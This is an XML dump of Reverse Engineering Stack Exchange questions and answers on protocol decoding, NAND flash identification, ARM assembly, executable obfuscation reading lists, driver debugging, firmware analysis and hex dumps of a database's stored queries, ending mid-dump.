  <row Id="14236" PostTypeId="1" CreationDate="2016-12-23T20:59:48.070" Score="1" ViewCount="221" Body="&lt;p&gt;I have a class of devices that I want to connect to.  They use a protocol co-developed by a couple companies back in the day and was never published.  Electrically there is only one wire which wraps back around in the end cap.  I broke open the end cap and there was a test point in it's PCB so I soldered something in and hooked it up to an analyzer.  There's no clock line so I'm not immediately sure of the baud.  It also does the weird thing where the line is high for ~61.5ms and low for the other 61.5.  A message is placed on the rising and falling edge of this square wave and one in the center of each period.  The shortest measured width seems to be .5833us.  The async serial analyzer marks the better half of traffic with framing errors, not sure if that's more the strange inversion of line level from time to time or not being able to tell the baud.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capture of a few tenths of a second of traffic:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Jdhn2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jdhn2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any hints on where to start would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="18545" LastActivityDate="2016-12-24T10:16:45.823" Title="Methods for Reverse engineering proprietary protocol" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14237" PostTypeId="1" CreationDate="2016-12-23T21:07:14.373" Score="2" ViewCount="10715" Body="&lt;p&gt;I have a USB stick with a NAND Flash chip that has only a few unhelpful markings on the chip. I desoldered the chip and I have a universal programmer, but I'm having trouble using it with my NAND Flash chip since I can't identify what make/model of chip I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to determine the NAND Flash chip type if there are not any helpful markings on the package? I don't have the USB BOM either...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking I might decap an exemplar chip and see if there are more helpful markings on the top layer of the silicon chip itself, but I'd prefer some kind of less invasive method. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or direction to external books/sites are very welcome.&lt;/p&gt;&#xA;" OwnerUserId="15992" LastActivityDate="2017-11-20T17:28:29.413" Title="Determine NAND Flash chip type and dump contents" Tags="|memory|usb|flash|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14238" PostTypeId="2" ParentId="14237" CreationDate="2016-12-24T10:01:40.530" Score="1" Body="&lt;p&gt;The site flashboot.ru collects various utilities for working with USB flash drives, including identification tools which can detect the vendor and device ID of the device, and in some cases even the exact flash chip:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://flashboot.ru/files/vidpid/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://flashboot.ru/files/vidpid/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-24T10:01:40.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14239" PostTypeId="2" ParentId="14236" CreationDate="2016-12-24T10:16:45.823" Score="1" Body="&lt;p&gt;This could be a &lt;a href=&quot;https://en.wikipedia.org/wiki/Self-clocking_signal&quot; rel=&quot;nofollow noreferrer&quot;&gt;self-clocking protocol&lt;/a&gt; like &lt;a href=&quot;https://en.wikipedia.org/wiki/Manchester_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;Manchester encoding&lt;/a&gt;. Also check the &lt;a href=&quot;https://www.google.com/patents/&quot; rel=&quot;nofollow noreferrer&quot;&gt;patent database&lt;/a&gt; for any patents from the companies involved; quite possibly there may be hints there.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-24T10:16:45.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14240" PostTypeId="2" ParentId="12947" CreationDate="2016-12-24T16:07:25.857" Score="0" Body="&lt;p&gt;As specified by @w s , the C representation of the assembly instruction &lt;strong&gt;ldrh r3,[r12,r3]&lt;/strong&gt; would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r3 = ((unsigned short*)r12)[r3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more documentation, visit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/CIHDGFEG.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/CIHDGFEG.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16407" LastActivityDate="2016-12-24T16:07:25.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14241" PostTypeId="2" ParentId="12927" CreationDate="2016-12-24T16:14:33.350" Score="0" Body="&lt;p&gt;A disassembler and decompiler like &lt;em&gt;Ghidra&lt;/em&gt; can be used to obtain a C equivalent code.&lt;/p&gt;&#xA;&lt;p&gt;Also, as specified by @RadLexus, the ARM documentation can be found here: &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0068b/BABGIEBE.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0068b/BABGIEBE.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16407" LastEditorUserId="16407" LastEditDate="2021-01-30T18:20:40.397" LastActivityDate="2021-01-30T18:20:40.397" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14245" PostTypeId="1" CreationDate="2016-12-25T20:24:11.303" Score="0" ViewCount="209" Body="&lt;p&gt;How do I Reverse Firmware?&#xA;What is firmware binary?&lt;/p&gt;&#xA;" OwnerUserId="18553" LastEditorUserId="18553" LastEditDate="2017-01-07T11:58:02.760" LastActivityDate="2017-01-07T11:58:02.760" Title="How do I Reverse Firmwares?" Tags="|binary-analysis|firmware|disassemblers|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-27T09:54:00.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="14246" PostTypeId="1" AcceptedAnswerId="14247" CreationDate="2016-12-25T21:46:09.090" Score="0" ViewCount="1299" Body="&lt;p&gt;I want to create my own, static obfuscator for any executables. What is the best way to do it with python? How should I start or what sources should I learn to do it? Anyon can give me some tips or links connected with this topic?&lt;/p&gt;&#xA;" OwnerUserId="18298" LastActivityDate="2016-12-26T11:39:24.323" Title="Write own obfuscator in Python" Tags="|python|" AnswerCount="1" CommentCount="0" ClosedDate="2016-12-27T12:02:39.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="14247" PostTypeId="2" ParentId="14246" CreationDate="2016-12-26T08:18:34.973" Score="2" Body="&lt;p&gt;You should start with reading documents.&#xA;Your problem definition is too broad to be covered by reading sources of already existing solutions. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to learn the executable formats you are intending to work with, &quot;any executable&quot; is too broad (ELF, PE, jar, whatever else ?)&lt;/li&gt;&#xA;&lt;li&gt;You need to learn the platform architecture (is it ARM, MIPS, x64 ?)&lt;/li&gt;&#xA;&lt;li&gt;After that you need to define the list of obfuscating transformations you want to apply to the executable of type of your choice .&lt;/li&gt;&#xA;&lt;li&gt;All the rest depends very much on the list of the transformations and information you'll have to apply these transformations.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is the reading list (unfortunately, it is far from being covering the whole problem) &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://researchspace.auckland.ac.nz/bitstream/handle/2292/3491/TR148.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Taxonomy of obfuscating transformations - classic work by Collberg and others &lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dspace.mit.edu/handle/1721.1/64489#files-area&quot; rel=&quot;nofollow noreferrer&quot;&gt;Studies in program obfuscation - if you want to have some theoretical background on math around the obfuscation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE format - go by links from wiki, there are a lot&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_and_Linkable_Format&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF format - the same if you want to obfuscate elf executables&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://software.intel.com/en-us/articles/intel-sdm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel SDM - the best and definitive definition of Intel processors assembly language, replace it with similar document about your platform if you choose to obfuscate non-intel binaries&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tuts4you.com/download.php?list.86&quot; rel=&quot;nofollow noreferrer&quot;&gt;tuts2you downloads section related to obfuscation - some articles inside&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In addition I'd recommend you to follow @Rolf Rolles, he wrote some excellent articles on deobfuscation, such as &lt;a href=&quot;http://www.openrce.org/articles/full_view/28&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; or &lt;a href=&quot;https://www.usenix.org/legacy/events/woot09/tech/full_papers/rolles.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After reading this you'll be able to search for more fine-grained information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most approachable methodology to deal with the issue is using &lt;a href=&quot;http://llvm.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;LLVM&lt;/a&gt;.&#xA;LLVM has python bindings that probably can be used for this.&#xA;There are some works related to obfuscation with this methodology, but none of them has complete solution in python, for example&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://0vercl0k.tuxfamily.org/bl0g/?p=260&quot; rel=&quot;nofollow noreferrer&quot;&gt;Example of simple obfuscator with LLVM&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/obfuscator-llvm/obfuscator/&quot; rel=&quot;nofollow noreferrer&quot;&gt;You'll probably find something interesting here, more invested LLVM based obfuscator&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;By the way, here is work on deobfuscating results of one of version of obfuscator mentioned before&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/trailofbits/mcsema&quot; rel=&quot;nofollow noreferrer&quot;&gt;McSema - a framework for transforming executable to LLVM IR.&lt;/a&gt; - you'll need it to read the executable and transform it into the form related to LLVM.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Your question is actually huge, and I'm far from covering the topic.&#xA;However this topic is very interesting, and I wish you good luck with that :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it appears from comments the topic starter wants to write as a starter something similar to UPX, which looks much simpler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a list of links that may be helpful for that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/upx/upx&quot; rel=&quot;nofollow noreferrer&quot;&gt;UPX source code&lt;/a&gt; - it is not python, but good for reference&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/erocarrera/pefile&quot; rel=&quot;nofollow noreferrer&quot;&gt;pefile&lt;/a&gt; is a multi-platform Python module to parse and work with Portable Executable (aka PE) files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'd suggest to learn PE format first, and read the code of UPX.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2016-12-26T11:39:24.323" LastActivityDate="2016-12-26T11:39:24.323" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14249" PostTypeId="1" CreationDate="2016-12-26T11:40:10.370" Score="1" ViewCount="1707" Body="&lt;p&gt;Can somebody tell me how to load a .sys file into Immunity Debugger correctly ?&#xA;Because when I load a driver into Imm. Debugger then I get the message that HAL.dll could not be found and that Imm. Debugger could not find the entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the solutins at &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2866/loading-a-driver-in-immunity?rq=1&quot;&gt;Loading a Driver in Immunity&lt;/a&gt; but that does not help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards, &lt;/p&gt;&#xA;" OwnerUserId="18558" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-12-27T06:53:15.907" Title="Loading a .sys file into Immunity Debugger" Tags="|immunity-debugger|driver|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14250" PostTypeId="2" ParentId="14249" CreationDate="2016-12-26T11:53:19.707" Score="1" Body="&lt;p&gt;.sys extension is usually used for drivers. While they are the same PE executables, they run in kernel mode and thus use kernel-mode APIs exposed by the kernel executive itself (&lt;a href=&quot;https://en.m.wikipedia.org/wiki/Ntoskrnl.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;ntoskrnl.exe&lt;/a&gt;) or kernel-mode DLLs such as hal.dll. &#xA;AFAIR someone made fake DLLs to simulate enough kernel APIs to achieve unpacking of drivers in user-mode debuggers like Olly but I don't have a link handy. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-12-26T11:53:19.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14252" PostTypeId="2" ParentId="14245" CreationDate="2016-12-26T14:10:51.407" Score="1" Body="&lt;p&gt;If I could, I would comment asking you to rephrase your question as I'm not sure what you want to know (file paths?).&lt;br&gt;&#xA;As I'm not sure what can't be solved without some googling I'll give you a generic overview of the topics you mentioned. I suggest you to read all the links provided and update the question if you still have doubts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/Firmware&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In electronic systems and computing, firmware[a] is a type of software that provides control, monitoring and data manipulation of engineered products and systems. Typical examples of devices containing firmware are embedded systems (such as traffic lights, consumer appliances, remote controls and digital watches), computers, computer peripherals, mobile phones, and digital cameras. The firmware contained in these devices provides the low-level control program for the device.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since it is a software running on some sort of hardware, it can be obtained in various ways: by either dumping the memory of the device or by downloading it from the vendor's site.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Viewing:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Once you have the binary file and you identify the architechture it is runs on you can use a &lt;em&gt;disassembler&lt;/em&gt; to translate &lt;a href=&quot;https://en.wikipedia.org/wiki/Opcode&quot; rel=&quot;nofollow noreferrer&quot;&gt;opcodes&lt;/a&gt; to &lt;a href=&quot;https://en.wikipedia.org/wiki/Assembly_language&quot; rel=&quot;nofollow noreferrer&quot;&gt;assembly&lt;/a&gt; (which is a human readable rappresentation of machine language). &lt;a href=&quot;https://en.wikipedia.org/wiki/Decompiler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decompilers&lt;/a&gt; can be used to ease the process&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Editing:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In order to edit these &lt;em&gt;images&lt;/em&gt; you just need an hexadecimal editor: programs such as IDA and radare2 can accomplish such task.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Running:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to run the said firmware, you need an environment that supports the architechture on which it was running (an emulator or a virtual machine).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Resources&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=-eVsE5VhUxM&amp;amp;index=35&amp;amp;list=WL&quot; rel=&quot;nofollow noreferrer&quot;&gt;A talk on firmware analysis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_emulators&quot; rel=&quot;nofollow noreferrer&quot;&gt;List of emulators&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikibooks.org/wiki/X86_Disassembly/Disassemblers_and_Decompilers&quot; rel=&quot;nofollow noreferrer&quot;&gt;List of disassemblers/decompilers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16079" LastEditorUserId="16079" LastEditDate="2016-12-28T13:20:21.713" LastActivityDate="2016-12-28T13:20:21.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14253" PostTypeId="1" CreationDate="2016-12-27T00:50:29.147" Score="1" ViewCount="266" Body="&lt;p&gt;I'm trying to increase the interoperability of some database software. The database can write and read &quot;stored SQL queries&quot;. I wanted to figure out the format of these SQL queries so I can build them outside the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started out with some data gathering:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;A&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 3a c2 15 02 79 20 11 38 1f c6 60 04 32 00 99 3a 0f f7&#xA;&quot;B&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 3a c1 15 02 79 20 11 38 1f c6 60 04 32 00 99 60 0f f8&#xA;&quot;C&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 3a c3 15 02 79 20 11 38 1f c6 60 04 32 00 99 86 0f f9&#xA;&quot;D&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 ba c0 15 02 79 20 11 38 1f c6 60 04 32 00 99 ac 0f fa&#xA;&quot;E&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 ba c2 15 02 79 20 11 38 1f c6 60 04 32 00 99 d2 0f fb&#xA;&quot;F&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 ba c1 15 02 79 20 11 38 1f c6 60 04 32 00 99 f8 0f fc&#xA;&quot;G&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 ba c3 15 02 79 20 11 38 1f c6 60 04 32 00 9a 1e 0f fd&#xA;&quot;H&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 7a c0 15 02 79 20 11 38 1f c6 60 04 32 00 9a 44 0f fe&#xA;&quot;I&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 7a c2 15 02 79 20 11 38 1f c6 60 04 32 00 9a 6a 0f ff&#xA;&quot;J&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 7a c1 15 02 79 20 11 38 1f c6 60 04 32 00 9a 90 10 00&#xA;&quot;K&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 7a c3 15 02 79 20 11 38 1f c6 60 04 32 00 9a b6 10 01&#xA;&quot;L&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 fa c0 15 02 79 20 11 38 1f c6 60 04 32 00 9a dc 10 02&#xA;&quot;M&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 fa c2 15 02 79 20 11 38 1f c6 60 04 32 00 9b 02 10 03&#xA;&quot;N&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 fa c1 15 02 79 20 11 38 1f c6 60 04 32 00 9b 28 10 04&#xA;&quot;O&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 fa c3 15 02 79 20 11 38 1f c6 60 04 32 00 9b 4e 10 05&#xA;&quot;P&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 06 c0 15 02 79 20 11 38 1f c6 60 04 32 00 9b 74 10 06&#xA;&quot;Q&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 06 c2 15 02 79 20 11 38 1f c6 60 04 32 00 9b 9a 10 07&#xA;&quot;R&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 06 c1 15 02 79 20 11 38 1f c6 60 04 32 00 9b c0 10 08&#xA;&quot;S&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 06 c3 15 02 79 20 11 38 1f c6 60 04 32 00 9b e6 10 09&#xA;&quot;T&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 86 c0 15 02 79 20 11 38 1f c6 60 04 32 00 9c 0c 10 0a&#xA;&quot;U&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 86 c2 15 02 79 20 11 38 1f c6 60 04 32 00 9c 32 10 0b&#xA;&quot;V&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 86 c1 15 02 79 20 11 38 1f c6 60 04 32 00 9c 58 10 0c&#xA;&quot;W&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 86 c3 15 02 79 20 11 38 1f c6 60 04 32 00 9c 7e 10 0d&#xA;&quot;X&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 46 c0 15 02 79 20 11 38 1f c6 60 04 32 00 9c a4 10 0e&#xA;&quot;Y&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 46 c2 15 02 79 20 11 38 1f c6 60 04 32 00 9c ca 10 0f&#xA;&quot;Z&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 46 c1 15 02 79 20 11 38 1f c6 60 04 32 00 9c f0 10 10&#xA;&quot;a&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 26 c2 15 02 79 20 11 38 1f c6 60 04 32 00 9d fa 10 17&#xA;&quot;b&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 26 c1 15 02 79 20 11 38 1f c6 60 04 32 00 9e 20 10 18&#xA;&quot;c&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 26 c3 15 02 79 20 11 38 1f c6 60 04 32 00 9e 46 10 19&#xA;&quot;d&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 a6 c0 15 02 79 20 11 38 1f c6 60 04 32 00 9e 6c 10 1a&#xA;&quot;e&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 a6 c2 15 02 79 20 11 38 1f c6 60 04 32 00 9e 92 10 1b&#xA;&quot;f&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 a6 c1 15 02 79 20 11 38 1f c6 60 04 32 00 9e b8 10 1c&#xA;&quot;g&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 a6 c3 15 02 79 20 11 38 1f c6 60 04 32 00 9e de 10 1d&#xA;&quot;h&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 66 c0 15 02 79 20 11 38 1f c6 60 04 32 00 9f 04 10 1e&#xA;&quot;i&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 66 c2 15 02 79 20 11 38 1f c6 60 04 32 00 9f 2a 10 1f&#xA;&quot;j&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 66 c1 15 02 79 20 11 38 1f c6 60 04 32 00 9f 50 10 20&#xA;&quot;k&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 66 c3 15 02 79 20 11 38 1f c6 60 04 32 00 9f 76 10 21&#xA;&quot;l&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 e6 c0 15 02 79 20 11 38 1f c6 60 04 32 00 9f 9c 10 22&#xA;&quot;m&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 e6 c2 15 02 79 20 11 38 1f c6 60 04 32 00 9f c2 10 23&#xA;&quot;n&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 e6 c1 15 02 79 20 11 38 1f c6 60 04 32 00 9f e8 10 24&#xA;&quot;o&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 e6 c3 15 02 79 20 11 38 1f c6 60 04 32 00 a0 0e 10 25&#xA;&quot;p&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 16 c0 15 02 79 20 11 38 1f c6 60 04 32 00 a0 34 10 26&#xA;&quot;q&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 16 c2 15 02 79 20 11 38 1f c6 60 04 32 00 a0 5a 10 27&#xA;&quot;r&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 16 c1 15 02 79 20 11 38 1f c6 60 04 32 00 a0 80 10 28&#xA;&quot;s&quot;      ff aa 01 01 50 00 00 00 78 01 63 64 40 05 ff ff fd e7 4c 64 c8 01 c2 78 20 ce 64 c8 63 c8 66 28 66 00 8a 32 16 